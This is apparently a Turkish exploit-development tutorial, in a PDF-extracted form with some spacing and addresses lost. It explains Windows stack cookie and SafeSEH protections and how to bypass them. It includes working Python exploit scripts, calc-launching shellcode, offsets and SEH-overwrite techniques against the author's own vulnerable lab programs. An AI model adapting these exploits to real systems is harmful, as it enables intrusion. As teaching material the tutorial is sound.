Bekir Karul. home about twitter goodreads github
|
|
|
- Gül Veli
- 9 yıl önce
- İzleme sayısı:
Transkript
1 Bekir Karul home about twitter goodreads github SafeSEH ve Stack Cookie Korumasının Atlatılması Bugüne dek blogda yazdığım yazılarda herhangi bir koruma mekanizması ile uğraşmamıştık. Yani örneğin yazdığımız exploit her zaman çalışıyordu, geri dönüş adreslerimiz vesaire sabitti ve bir sorun teşkil etmiyordu, işimiz kolaydı. Fakat durum aslında öyle değil, neticede işletim sisteminiz sizi o kadar rahat bırakmamak için birtakım önlemler almış durumda. Biraz da bunlara yoğunlaşmaya karar verdim ve sanırım bu yazı bu serinin ilk yazısı olacak. Dediğimiz gibi, işletim sisteminiz sizi zorlamak için bazı önlemler alıyor. Mesela bunları genel olarak şöyle sıralayabiliriz. 1. Stack Cookie 2. SafeSEH 3. ASLR 4. DEP Genel bir bakış açısıyla bu 4 koruma ile ilgilenip, onları aşmaya çalışacağız diyebiliriz. Bu ilk yazıda sizlere Stack Cookie ve SafeSEH korumasının ne olduğunu, onları nasıl bypass edebileceğimizi göstermek istiyorum. Yazı boyunca kulladığım sistem Windows XP SP3 olacak. Sanırım uzunca bir yazı bizi bekliyor, teknik detaylarda boğulmadan önce yanınıza çay almanızı, arkaplanda didaktik olmayan bir müzik açmanızı öneriyorum.
2 Stack Cookie Koruması Nedir? Hatırlarsanız önceki yazılardan birinde fonksiyonlara girip çıkarken gerçekleşen birtakım işlemlerden bahsetmiş, bunlara function prologue ve function epilogue isimlerinin verildiğinden bahsetmiştik. Prologue fonksiyon çağırıldığında, epilogue ise fonksiyondan çıkarken gerçekleşiyordu. İşte Stack Cookie koruması derleyicide aktif edilirse, bu iki işleme temel stack overflow zafiyetlerini engellemek için ekstra birtakım kontrol kodları ekliyor. Peki bunu nasıl yapıyor? Öncelikle programınız çalıştığında 4 byte boyuta sahip bir ana cookie oluşturup, bu cookiei.databölümünde saklanıyor. Function prologue işleminde bu ana cookie değeri, stackde bulunan return değeri ile yerel değişkenler arasına kopyalanıyor. Yani stackdeki görüntü şu şekilde oluyor : Buffer Cookie KaydedilenEBP ReturnAdresi Ardından, fonksiyondan çıkılırken, yani epilogue işlemi çalıştırıldığı sırada bu ana cookie değeri kontrol ediliyor. Eğer bu değer bizim ana cookie değerimiz ile aynıysa program çalışmaya devam ediyor, fakat eğer farklıysa, yani bir şekilde stack overflow gerçekleşip bu değer değiştiyse, karşılaştırma başarısız oluyor ve cookie değeri değiştiği için program sonlandırılıyor. Yani örneklemek gerekirse eğer bir stack overflow zafiyeti exploit edilmeye çalışılırsa stackdeki durum şöyle olacağı için cookie değeri değişiyor, ve cookienin doğrulanması başarısız olduğundan mütevellit program sonlanıyor.
3 A A Buffer A A A Cookie A ->Cookie'nindeğerideğişiyor A KaydedilenEBP A A ReturnAdresi A A Ayrıca /GS korumasının aktif olması için buffer parametresinin 5 byte ve üzeri bir değere sahip olması gerekiyor, aksi halde bu koruma performansı kötü yönde etkilememek için aktif olmuyor. Ayrıca bu koruma açıldığı zaman değişkenler üzerlerine yazılmasını engellemek amacıyla tekrar sıralanıyor ve daha yüksek adres değerlerine taşınıyor. Peki Nasıl Çalışıyor? Öncelikle merak edenler olabilir, bu cookie değeri neye göre oluşturuluyor? Cookie değeri bazı fonksiyonlardan dönen değerlerin XOR işlemine sokulmasıyla meydana geliyor. İnternet üzerinde durumu özetleyen güzel bir kod parçası buldum : #include <stdio.h> #include <windows.h> int main() { FILETIME ft; unsigned int Cookie=0; unsigned int tmp=0; unsigned int *ptr=0; LARGE_INTEGER perfcount; GetSystemTimeAsFileTime(&ft); Cookie = ft.dwhighdatetime ^ ft.dwlowdatetime; Cookie = Cookie ^ GetCurrentProcessId(); Cookie = Cookie ^ GetCurrentThreadId(); Cookie = Cookie ^ GetTickCount(); QueryPerformanceCounter(&perfcount); ptr = (unsigned int)&perfcount; tmp = *(ptr+1) ^ *ptr; Cookie = Cookie ^ tmp; printf("cookie: %.8X\n",Cookie); return 0;
4 19 } cookieolusumu.c hosted with by GitHub view raw Şimdi olayı iyice anlayabilmeniz adına basit bir örnek yapalım, ve stack cookienin mantığını anlayalım. Öncelikle zafiyet barındıran basit bir koda ihtiyacımız olacak, bunun için şuradaki programın biraz düzenlenip sadeleştirilmiş halini kullanacağız. Döküman boyunca kullanacağımız kaynak programlara şuradan ulaşabilirsiniz. Şimdi, öncelikle prog1 adlı programda inceleme yapacağız, derleme işlemi için Visual C sürümünü kullanıyor olacağız. Öncelikle size bu /GS koruması ile derlenen ile /GS koruması olmadan derlenen program arasındaki farkı göstermek istiyorum. İlk olarak Project->Properties->Code Generation kısmındaki Buffer Security Check kısmını NO yaparak derlenen programdaki pr fonksiyonu çağırıldığında çalıştırılan kısmı görelim. 0:000>ufpr e055 push ebp e18bec mov ebp,esp e381ec sub esp,234h e953 push ebx ea56 push esi eb57 push edi ec66a13c mov ax,wordptr[prog1!'string' ( c)] f cfeffff mov wordptr[ebp-1f4h],ax f968f push 1F2h fe6a00 push d850efeffff lea eax,[ebp-1f2h] push eax e849fdffff call prog1!ilt+80(_memset) ( ) c83c40c add esp,0ch f8b4508 mov eax,dwordptr[ebp+8] push eax d8d0cfeffff lea ecx,[ebp-1f4h]
5 push ecx ae863fdffff call prog1!ilt+125(_strcpy) ( ) f83c408 add esp, f pop edi e pop esi b pop ebx be5 mov esp,ebp d pop ebp c3 ret Gördüğünüz üzre pr fonksiyonu çalıştığında standart bir şekilde, ek bir koruma olmadan çağrı gerçekleşiyor. Şimdi Buffer Security Check ayarını Yes olarak değiştirip aynı kısma tekrar göz atalım. 0:000>ufpr e055 push ebp e18bec mov ebp,esp e381ec sub esp,238h e9a mov eax,dwordptr [prog1! security_cookie( )] ee33c5 xor eax,ebp f08945fc mov dwordptr[ebp-4],eax f353 push ebx f456 push esi f557 push edi f666a13c mov ax,wordptr[prog1!'string' ( c)] fc feffff mov wordptr[ebp-1f8h],ax f push 1F2h a00 push a8d850afeffff lea eax,[ebp-1f6h] push eax e83ffdffff call prog1!ilt+80(_memset)
6 ( ) c40c add esp,0ch b4508 mov eax,dwordptr[ebp+8] c50 push eax d8d8d08feffff lea ecx,[ebp-1f8h] push ecx e859fdffff call prog1!ilt+125(_strcpy) ( ) c408 add esp, c5f pop edi d5e pop esi e5b pop ebx f8b4dfc mov ecx,dwordptr[ebp-4] cd xor ecx,ebp e8e0fcffff call prog1!ilt+20( security_check_cookie( ) be5 mov esp,ebp b5d pop ebp cc3 ret Kodları karşılaştırırsanız /GS koruması ile prologue işlemine ilaveten yeni kontroller geldiğini göreceksiniz. Ayrıca dediğim gibi /GS koruması karşılaştırmayı yapmak için epilogue işlemine de -yani fonksiyondan çıkma sırasında çalışacak- ilave kodlar ekliyor. Basitçe iki kodu karşılaştıralım. Öncelikle prologue kısmında ne değişikler olmuş dersek genel olarak şu kodlar ilave edildi diyebiliriz e381ec sub esp,238h e9a mov eax,dwordptr [prog1! security_cookie( )] d333c5 xor eax,ebp d58945fc mov dwordptr[ebp-4],eax
7 Görüldüğü üzre öncelikle 568 byte ayrılıyor, ardından oluşturulan cookie değeri EAX yazmacına alınıyor. Cookie EBP ile XOR'lanıp, yığında return değerinin hemen altında saklanıyor. Epilogue kısmına geçecek olursak şu değişiklikler göze çarpıyor f8b4dfc mov ecx,dwordptr[ebp-4] cd xor ecx,ebp e8e0fcffff call prog1!ilt+20( security_check_cookie( ) Buradaysa öncelikle yığında saklanan cookie değeri ECX yazmacına alınıyor. Ardından prologue'de olduğu gibi EBP ile bir XOR işlemi yapılıyor, ve son olarak cookie'nin doğruluğunu kontrol edecek olan fonksiyon çağırılıyor. Bu doğruluk kontrolünün ardından eğer cookie değeri değişmişse program sonlandırılıyor, aksi halde çalışmaya devam ediyor. Stack Cookie Statik mi Dinamik mi? Şimdi öncelikle /GS kapalı şekilde derlediğimiz programımız için exploit yazalım. Yerelde 200 numaralı portu dinleyen programa basit bir python kodu ile 1000 karakterlik bir metasploit pattern gönderelim ardından WinDbg üzerinde exploiting işlemini gerçekleştirelim. importstruct fromsocketimport* host="localhost" port=200 adres=(host,port) Baglanti=socket(AF_INET,SOCK_STREAM) Baglanti.connect(adres)
8 cokertkaarsim= "Aa0Aa12Af3Af4Af5Af6Af7Af3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3A***snip ped" Baglanti.send(cokertkaarsim) Baglanti.close() Kodu çalıştırmadan önce kullanacağımız Windbg için yazılmış olan byakugan eklentisini kurmayı unutmayın. Eklentiyi metasploit'in github sayfasında bulabilirsiniz. Kurduğunuzu varsayıp devam ediyorum. Kodu çalıştırdıktan sonra program Windbg'da çökecek. Ardından byakugan'ı kullanarak bize gereken offset adresini bulacağız. (390.a78):Accessviolation-codec (firstchance) Firstchanceexceptionsarereportedbeforeanyexception handling. Thisexceptionmaybeexpectedandhandled. eax=0012e00cebx=7ffd4000ecx=0012ee34edx= esi=00bff790 edi=00bff6eeeip= esp=0012e208ebp= ????? 0:000>!loadbyakugan 0:000>!pattern_offset1000 [Byakugan]Controlofebpatoffset500. [Byakugan]Controlofeipatoffset504. Gördüğünüz üzre byakugan EIP yazmacı üzerine 504 bytedan sonra yazıldığını söylüyor. Şimdi geriye kalan tek şey stackte yer edinecek olan shell kodumuza atlamak için gereken instructionı bulmak. Onu da Windbg kullanıp önceki yazılarda yaptığımız şekilde buluyoruz. Bu örneğimizde ben pushesp,retmetodunu kullanacağım. 0:000>lm start end modulename
9 a000 prog MSVCR90D#Bumodüldearamayapacağız ***snipped*** 0:001>a 7c90120fpushesp pushesp 7c901210ret ret 7c :001>u7c90120f ntdll!dbgbreakpoint+0x1: 7c90120f54 push esp 7c901210c3 ret 0:001>s c3#MSVCR90Diçerisindearıyoruz. 102f0b58 54c3660f73d f7ec181f90000f0 T.f.s.f.~ f0bef 54c3b9f f6ed9660f T...f.n.f.T. 102f6ef5 54c3660f2ec37a15-8b442408c1e81fdd T.f...z..D$... 0:001>u102f0b58 MSVCR90D!_libm_sse2_powf+0x208: 102f0b5854 push esp 102f0b59c3 ret Netice olarak 102f0b58adresine aradığım iki instructionı buldum. Şimdi exploit'i buna göre düzenleyip tekrar çalıştıralım. importstruct fromsocketimport* host="localhost" port=200
10 adres=(host,port) Baglanti=socket(AF_INET,SOCK_STREAM) Baglanti.connect(adres) boyut=1000 cokertkaarsim="a"*504 cokertkaarsim+=struct.pack('<i',0x102f0b58)#pushesp,ret MSVCR90D.dll cokertkaarsim+="\x90"*24 cokertkaarsim+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" cokertkaarsim+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" cokertkaarsim+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" cokertkaarsim+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" cokertkaarsim+="\x57\x78\x01\xc2\x8b\x7a\x20\x01" cokertkaarsim+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" cokertkaarsim+="\x45\x81\x3e\x43\x72\x65\x61\x75" cokertkaarsim+="\xf2\x81\x7e\x08\x6f\x63\x65\x73" cokertkaarsim+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" cokertkaarsim+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" cokertkaarsim+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" cokertkaarsim+="\xb1\xff\x53\xe2\xfd\x68\x63\x61" cokertkaarsim+="\x6c\x63\x89\xe2\x52\x52\x53\x53" cokertkaarsim+="\x53\x53\x53\x53\x52\x53\xff\xd7" cokertkaarsim+="d"*(boyut-len(cokertkaarsim))#d'yebakip stackdekikodugorebilirsiniz. Baglanti.send(cokertkaarsim) Baglanti.close() Exploiti çalıştırdığınızda çökme gerçekleşecek ve bizim ünlü hesap makinesi sizi karşılayacaktır. Buraya kadar tamam, bilinen stackoverflow açığını exploit ettik. Şimdi asıl konuya girelim, evet, buraya kadar aslında asıl konumuzda bile değildik, yalnızca yine bir programın exploit edilişini inceledik! Öncelikle bu cookie değerinin statik olup olmadığını bir test edelim. Acaba program her açıldığında bu
11 cookie değeri aynı mı oluyordur? Ne diyorsunuz? Şimdi yapacağımız şey aynı expoiti bu defa /GS koruması açık olan programımızda denemek! Hadi bakalım ne olacak. Gördüğünüz gibi program crash oldu fakat exploitimiz çalışmadı. Şimdi neler olup bittiğini inceleyelim bakalım. Öncelikle bunun için bizim stack cookie kontrol edildiği sırada kullanılan fonksiyona breakpoint koyalım. 0:000>bpprog1! security_check_cookie 0:000>bl 0e (0001) 0:**** prog1! security_check_cookie Programı ve akabinde exploiti çalıştırdığımızda program cookie'nin karşılaştırıldığı kısımda duracak. Şimdi cookie değerimizi öğrenelim bakalım neymiş? Breakpoint0hit eax=0012e004ebx=7ffd6000ecx=4153a0bdedx= esi=00796b12 edi=00bef554eip= esp=0012dfc0ebp=0012e1fc prog1! security_check_cookie: b0d cmp ecx,dwordptr [prog1! security_cookie( )]ds:0023: =376ba7b6
12 0:000>dd ba7b6c fffffffe ffffffffffffffff Buradan anlıyoruz ki bizim cookie değerimiz 376ba7b6. Şimdi aynı adımları tekrar ederek cookie değerinin değişip değişmediğini sınayalım. Programı ve exploiti tekrardan çalıştırıyoruz. Breakpoint0hit eax=0012e004ebx=7ffdc000ecx=4153a0bdedx= esi=00796b12 edi=00bef554eip= esp=0012dfc0ebp=0012e1fc prog1! security_check_cookie: b0d cmp ecx,dwordptr [prog1! security_cookie( )]ds:0023: =a6a :000>dd a6a a8f fffffffe ffffffffffffffff Bu defa cookie değerimiz a6a86570olmuş. Bu demektir ki stack cookie koruması olan bir programı exploit ederken programı inceleyip, cookie değerini not edip exploiti ona göre yazmak bir şeyi değiştirmiyor çünkü cookie değeri aslında dinamik bir değer ve program her çalıştığında bu değer değişiyor. Fakat yine de bu durumla ilgili istisnai bir güvenlik bildirisi de yok değil. (MS06-040) Exception Handler Yardımıyla Stack Cookie Korumasını Atlatmak Öncelikle bu olayı teoride biraz açıklayalım. Bir hata oluşumunu kullanarak Stack cookie nasıl atlatılabilir ki? Şöyle düşünün, exploitiniz çalışmak için ilerliyor. Ve fonksiyondan çıkış yani epilogue işlemleri gerçekleştiği sırada bir de stack cookie denetleniyordu, değil mi? Peki ya bu cookie doğrulanmadan önce bir hata meydana
13 gelirse? Ve siz o hata üzerinden SEH kullanarak programın akışını dilediğiniz yere yönlendirirseniz? Sanırım anladınız. Oldukça basit fakat etkili bir yöntem. Bu yöntemi uygulamak için yine kullandığımız programı değiştiriyor ve içerisinde iki adet strcpy olan bir program kullanıyoruz. Bu sayede SEH üzerine yazabileceğiz ve SEH kullanarak bypass yapabileceğiz. Programı önceki indirme linki ile indirdiğiniz dosya içerisinde sbypass ismi ile bulabilirsiniz. Exploitin Yazılması Programın zafiyet içeren kaynak kodu şu şekilde gösterilebilir. voidseh(char*recvbuf){ charsendbuf[512]; _try { strcpy(sendbuf,recvbuf); if(sendbuf[0]=='\x41'){ //Varolmayanadreseyazmayacalisarak //biexceptionolusturuluyor int*p=0x ; *p=10; } } _except(exception_execute_handler) { printf("insideexceptionhandler"); } } Gördüğünüz üzre zafiyete sebebiyet veren strcpy()fonksiyonu var ve herhangi bir uzunluk kontrolü yapılmamış. Şimdi programı header bilgisinde yazdığı biçimde derleyelim ardından exploit işlemine geçelim. Öncelikle programı Windbg ile açıyoruz açarken Şimdi programımıza şu python scriptini temel olarak kullanarak 1000 tane A karakteri gönderelim bakalım.
14 #!/usr/binpython #-*-coding:utf-8-*- importstruct fromsocketimport* host="localhost" port=8888 adres=(host,port) Baglanti=socket(AF_INET,SOCK_STREAM) Baglanti.connect(adres) cokertkaarsim="a"*1000 Baglanti.send(cokertkaarsim) Baglanti.close() Göndermeden önce tabii ki programı Windbg ile açıyoruz. Ardından programı g komutu ile çalıştırıp paketi gönderiyoruz. Akabinde çökme gerçekleşecek ve biz de seh'in durumunu kontrol edeceğiz. (740.e74):Accessviolation-codec (firstchance) Firstchanceexceptionsarereportedbeforeanyexception handling. Thisexceptionmaybeexpectedandhandled. eax= ebx=7ffdf000ecx= cedx= esi=01f6f798 edi=01f6f6eeeip= fesp=0012fb80ebp=0012fda8 image x105f: fc7000a mov dwordptr[eax],0ah ds:0023: =???????? 0:000>!exchain 0012fd98: Invalidexceptionstackat
15 Görüldüğü üzre EIP üzerinde hakimiyetimiz olmasa da SEH üzerine yazmayı başardık. Bu da demektir ki buradan yürürüz hehe. Şimdi, yavaş yavaş bypass edilmesi kısmına gelmeye çalışıyorum fakat açıklanması gereken yerler çok fazla bu yüzden bir türlü gelemedim. Burada SEH'in neler yaptığını anlamak isteyen arkadaşlarımız önceki SEH yazısına bakabilirler, yahut yorum ile anlamadığınız kısımları belirtirseniz yardımcı olmaya çabalarım. Önceki yazıda SEH'in nasıl devreye girdiğini, üzerine yazdığımızda ne elde ettiğimizi, SEH'i kullanarak nasıl program akışını değiştirebileceğimizi ve buna benzer diğer şeyleri öğrenebilirsiniz. Yine de genel olarak SEH üzerine yazıldığında neler olduğunu kısaca bir resim üzerinde görelim. Burada resimde gördüğünüz üzre strycpy()bizim SE Handler üzerine yazıyor. Stack'e bakarsanız yazmaya devam ettiğimiz taktirde SEH'in üzerine yazdığımız için tamamen değişeceğini görebilirsiniz. Bu da demektir ki programın akışını yönlendirebiliriz. Bunun ardından kaynak kodun içerisindeki hatalı pointer kullanımı geliyor. Bakalım: MOVDWORDPTRSS:[EBP-21C],0 ;EBP-21C(0012FB8C)adresinde4 bytesıfırlandı MOVEAX,DWORDPTRSS:[EBP-21C];Busıfırlanan4bytedeğeriEAX registerinaalındı MOVDWORDPTRDS:[EAX],0A ;EAXyazmacındabulunanadrese0A
16 verisiyazılmayaçalışılıyor Görüldüğü gibi, EAX registerına alınan adresine bir veri saklanmaya çalışılıyor. Haliyle program burada çöküyor ve istisna oluştuğu için exception handler devreye giriyor. Şimdi yavaş yavaş SEH kullanarak Stack Cookie korumasının atlatılması kısmına giriş yapıyoruz. Öncelikle bu programın SEH exploitinin yazalım, ardından programı /GS koruması ile derleyip oradan devam edeceğiz. (Unutmadan ekleyeyim, programı /SAFESEH:NOolarak derliyoruz, aksi halde exploit edemeyiz! Şimdilik tabii.) SEH exploitini yazabilmek adına öncelikle metasploit yahut Immunity debugger ile 1000 karakter uzunluğunda bir pattern oluşturalım, ardından bunu python scriptimize ekleyelim ve akabinde Windbg yardımıyla debug ederek!exchain komutu ile SEH üzerine yazılan değerin byakugan eklentisi yardımıyla offsetini bulalım. (Kütüphanedeki bayan, lütfen ekranıma bakmayı bırakın, utanıyorum. Sevgiler.) 0:000>g (f94.1a8):accessviolation-codec (firstchance) Firstchanceexceptionsarereportedbeforeanyexception handling. Thisexceptionmaybeexpectedandhandled. eax= ebx= ecx= edx=7c9032bcesi= edi= eip= esp=0012f3e0ebp=0012f ????? 0:000>!exchain 0012f3f4:ntdll!ExecuteHandler2+3a(7c9032bc) 0012f7c4:ntdll!ExecuteHandler2+3a(7c9032bc) 0012fd98: Invalidexceptionstackat :000>!pattern_offset1000 [Byakugan]Controlofecxatoffset524. [Byakugan]Controlofeipatoffset bayttan sonrası SE handler üzerine yazıyor demek ki. Onun ardından da Next
17 SEH geliyor. Klasik SEH exploitlerinde nasıl oluyordu hatırlamaya çalışın. Biz SE Handler üzerine pop pop ret üçlüsünü, Next SEH üzerine de shellcodea atlayacak jmpinstructionını yazıyorduk değil mi? Pekala, o zaman haydi yapalım bakalım. Öncelikle 06 byte jump kodumuzun opcodeu eb06idi. Bunu şu şekilde hex halinde ve iki nop ekleyerek yazıyorduk. \xeb\x06\x90\x90şimdi bir de pop pop ret üçlüsünü bulmamız gerek. Bunun için Immunity Debugger'da CTRL+Skısayolu ile (Find Sequence of commands) popr32pop32retşeklinde bir arama yapalım. Görüldüğü üzere program C8 adresinde poppopretüçlüsünü buldu. Bu değerler kaynak koda bakarsanız eğer inline assembly ile eklenen değerler. Bu değerleri exploit yazmak için kullanıyoruz. O halde exploitmizin gövdesi şu şekilde olacak demektir: cokertkaarsim="a"*520 cokertkaarsim+="\xeb\x06\x90\x90" jump cokertkaarsim+=struct.pack('<i',0x535313c8) ret cokertkaarsim+="\x90"*24 cokertkaarsim+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" shellcode cokertkaarsim+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" cokertkaarsim+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" cokertkaarsim+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" cokertkaarsim+="\x57\x78\x01\xc2\x8b\x7a\x20\x01" #6byte #poppop #calc.exe
18 cokertkaarsim+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" cokertkaarsim+="\x45\x81\x3e\x43\x72\x65\x61\x75" cokertkaarsim+="\xf2\x81\x7e\x08\x6f\x63\x65\x73" cokertkaarsim+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" cokertkaarsim+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" cokertkaarsim+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" cokertkaarsim+="\xb1\xff\x53\xe2\xfd\x68\x63\x61" cokertkaarsim+="\x6c\x63\x89\xe2\x52\x52\x53\x53" cokertkaarsim+="\x53\x53\x53\x53\x52\x53\xff\xd7" Exploiti çalıştırdıktan sonra hesap makinesinin çalışacağını görebilirsiniz. Immunity debugger üzerinde pop pop ret adresinize breakpoint koyarsanız ve ardından kodu incelerseniz olanları daha detaylı görebilirsiz. Örneğin aşağıdaki şekilde poppop retüçlüsüne gelmiş durumdayız, iki popinstructionu ardından retile stackden bizim 06 byte jump kodumuzu EIP'e alarak shellcodedan devam edecek. Stack Cookie Korumasının SEH ile Atlatılması Pekala, şimdi exploiti de yazdık. Şimdi programı tekrar derliyoruz, fakat bu defa /GS- seçeneğini cl'den kaldırıyoruz. Bu sayede stack cookie koruması aktif olacak. Ardından az önce kullandığımız exploit'i tekrardan çalıştırıyoruz. Çalıştırdık mı? Çalışmadı. Evet, bir şeyler değişti demek ki. Şimdi bunun üzerine konuşalım biraz da. Ardından bu exploiti /GS korumasını atlatacak şekilde düzenleyelim. Şimdi bu konuda söyleyeceklerim sizi biraz şaşırtabilir, lakin bunca şey okudunuz fakat bu korumayı geçmek için aslında yapılması gereken şey çok basit. Yapmamız gereken tek şey exploiti yeniden yazmak. Değişen adresleri tekrar düzeltmek, bu kadar! Fakat, benim için asıl önemli olan bunun nasıl olduğunu size anlatabilmek. Yani bu yazı aslında çok kısa bir şekilde de bu olayı anlatabilirdi. İki exploit koyup
19 karşılaştırın diyerek de bu açığı anlatabilirdim, fakat o zaman biraz ezberci sisteme uyuyoruz. Ben mantığını tam olarak anlatabilmeyi umuyorum. Neyse, şimdi bu nasıl böyle oldu? Aslında olan şey sahiden basit bir mantık üzerine kurulu. Öncelikle programın kaynak kodunu hatırlayalım: voidseh(char*recvbuf){ charsendbuf[512]; _try { strcpy(sendbuf,recvbuf); if(sendbuf[0]=='\x41'){ //Varolmayanadreseyazmayacalisarak //biexceptionolusturuluyor int*p=0x ; *p=10; } } _except(exception_execute_handler) { printf("insideexceptionhandler"); } Şimdi, stack cookie koruması nasıl çalışıyordu? Fonksiyonun giriş ve çıkışına birtakım kontroller koyuyordu değil mi? Başka cookie'yi stackte saklıyor, fonksiyondan çıkarken de doğruluğunu kontrol ediyordu. Eğer doğruysa program devam ediyor, bozulmuşsa bir exploiting denemesi oluyor diyor ve programı sonlandırıyordu. Peki, ya fonksiyondan çıkış gerçekleşmeden önce fonksiyondan çıkılırsa? Bu sayede cookie kontrolünü atlamış olmaz mıyız? Aynen öyle. İşte bu bypass yönteminin mantığı budur. Bakın strycpy()fonksiyonundan sonra bir exception oluşması için var olmayan bir adrese tanımlama yapmaya çalıştık. Bu sayede fonksiyondan çıkmadan evvel SEH devreye girdi, biz de SEH'i kontrol edebildiğimiz için programın akışını değiştirdik. Şimdi az önceki adımları tekrarlayarak exploiti baştan yazabilirsiniz. Bunu ben
20 yazmıyorum buraya lakin çok fazla uzayacak yazı, bu nedenle siz yaparsanız hem sizin için hem yazının uzunluğu adına daha faydalı olacak. Ben yine de /GS açık iken gerekli olan exploit'in değişen kısımlarını buraya yazıyorum, fakat kendiniz bunu bulmanız sizin için çok daha yararlı olacaktır. cokertkaarsim="a"*528 #520->528 oldu cokertkaarsim+="\xeb\x06\x90\x90" cokertkaarsim+=struct.pack('<i',0x535313c8) #0x535313c8-> 0x535313f8oldu Şu kısacık kod parçasının mantığını anlatabilmek adına bolca şeyler yazdım, umarım buraya kadar yararlı olmuştur. Fakat, henüz bitmedi. Çayları tazeleyin, müziği daha sakin bir müziğe alın; devam ediyoruz... SafeSEH Nedir? Evet, şimdi sıra SafeSEH arkadaşımıza geldi. Buraya kadar gördüğünüz üzere çoğu koruma birbirine bağlı bir iplik gibi. Stack Cookieleri geçmek için SEH tabanlı exploit yöntemini, SEH'i exploit etmek için Stack tabanlı exploit etme yöntemini bilmeniz gerekiyor gibi. SafeSEH dediğimiz arkadaş da bu durumu aynen devam ettiriyor. İsminden de anlaşılabileceği gibi bu koruma SEH exploitleri engellemek amacıyla geliştirilmiş bir koruma. Bu koruma çalıştırılabilir dosyalarda, dll dosyalarında kullanılabiliyor. Temel mantığı yine oldukça basit, bu korumayı aktif ettiğinizde dosyanızın içine bilinen exception handlerların listesi tutulmaya başlanıyor, ve bir exception oluştuğunda SEH zinciri içerisindeki adresler ntdll.dlliçerisinde bulunan exception dispatcher aracılığıyla bu liste ile karşılaştırılıyor. Bu sayede bilinmeyen bir adresteki handler çalıştırılmamış, haliyle exploit engellenmiş oluyor. Dediğimiz gibi, bu kontrolleri ntdll.dlliçerisindeki KiUserExceptionDispatcher fonksiyonu gerçekleştiriyor, ayrıca bu fonksiyon exception handler'da bulunan kodun stack'i gösterip göstermediğini de kontrol ediyor, bu sayede direk olarak shellcodea atlamayı da engelliyor. Bu kontrolü ise TEByapısını kullarak yapıyor, TEB
21 yapısından stack'in en üst ve en alt adres değerlerini alarak exception handler adresinin bu aralıkta olup olmadığını kontrol ediyor. Yani exception handler adresi stacki gösteriyorsa böylece çalışması engellenmiş oluyor. Peki ya bu adres yüklenen modullerin dışında ve SafeSEH koruması kapalı ise ne oluyor? İşte o zaman bir şey olmuyor. Biz de bu küçük ayrıntıyı kullanacağız birazdan. Şimdi, SafeSEH'i geçebilmek için bazı yöntemler mevcut onlara bir göz atalım bakalım. SafeSEH Korumasının Atlatılması Bir program çalıştığında doğal olarak onun kullandığı modüller de hafızaya alınır. SEH exploitlerini çalıştırırken bildiğiniz üzere bu modüllerde yahut programın kendisinde poppopretüçlüsünü bularak sömürme işlemini gerçekleştiriyorduk. İşin içine SafeSEH girince işler değişiyor, lakin bu modüller ve program SafeSEH korumalı olduğu zaman bahsettiğimiz kontroller yüzünden exploiti çalıştıramıyoruz. Fakat, poppopretüçlüsünü yalnızca buralarda aramak zorunda değiliz. Örneğin yine hafızada olan bir sistem modülünde bu adresleri bulabiliriz. Örneğin Windows XP üzerinde hafızada olan bir modülde de bu adresi bulabiliriz, ve eğer o modül SafeSEH kapalıysa bu adresi exploitde kullanabiliriz. Fakat şöyle bir şey var, o zaman exploitinizin alanı küçülmüş olacak. Lakin statik dosyalar sistemden sisteme değişebiliyor. Yani Windows XP'de hafızada olan bir modül, 7'de olmayabilir. Bu da demektir ki yazdığınız exploit yalnızca belirli bir işletim sisteminde çalışabilir. SafeSEH Korumasının Zafiyetli Modül ile Atlatılması Girişte bahsettiğimiz gibi bu korumayı atlatmanın yollarından biri programın kullandığı modülleri yahut bu modüllerin dışında hafızada olan bir modülü inceleyip onların SafeSEH korumasının olup olmadığını öğrenmek. Bu konuda bir örnek yapmayacağım zira oldukça açık bir şey. Yapmanız gereken şey Immunity yahut OllyDbg yardımıyla programın kullandığı modül dosyalarının SafeSEH korumalı olup olmadığını incelemek. Örneğin Immunity Debugger'da!pvefindaddr jsehyahut!monasehkomutlarıyla kullanılan modüller arasında eğer SafeSEH kapalı olan bir modül varsa o modül içerisinde poppopretarayabilir, ve bu üçlüyü klasik SEH exploitinizi yazmak için kullanabilirsiniz. Ayrıca OllyDbg için SafeSEH eklentisini kullanabilir, yine aynı şekilde modüllerin SafeSEH durumunu kontrol
22 edebilirsiniz. Ve yine unutmayın ki yalnızca modül değil, bu hafızada olan bir sistem dosyası dahi olabilir. Fakat dediğimiz gibi, bu exploitinizin çalışma alanını daraltacaktır lakin hafızadan aldığınız instruction setiniz yalnızca o işletim sisteminde çalışan bir dosyada olabilir. O yüzden bu yöntem pek tavsiye edilmiyor. SafeSEH Korumasının SEH ile Atlatılması Bu duruma alternatif olarak bir başka yol daha var, ve bu yol diğerinden daha iyi sonuçlar verebiliyor. Bunun için aşağıda listelediğimiz instructionlardan birine ihtiyacınız olacak. call dword ptr[esp+nn] jmp dword ptr[esp+nn] call dword ptr[ebp+nn] jmp dword ptr[ebp+nn] call dword ptr[ebp-nn] jmp dword ptr[ebp-nn] nn değerinin pozitif değerleri için esp + 8,14,1c,2c,44,50; ebp için 0c,24,30 negatifler ebp için ise 04,0c,18'e bakılabilir. Şimdilik bunların neyi gösterdiğine takılmayın, yazıyı okudukça bu adreslerde ne olduğunu hep birlikte göreceğiz. Ayrıca bunlara alternatif olarak eğer bizim exception_registration yapımız esp+8 adresine takabül ediyorsa yine poppopretüçlüsünü kullanabiliyor oluyoruz. Lakin eğer bu yapı esp+8de ise, o halde iki popkullanıp esp+8adresine gelebilir, ardından retkullanarak Next SEH adresini elde edebiliriz. Fakat yine bu üçlü yüklenen modüllerin dışında, SafeSEH koruması kapalı bir adreste olmalı. Ayrıca eğer bahsettiğimiz 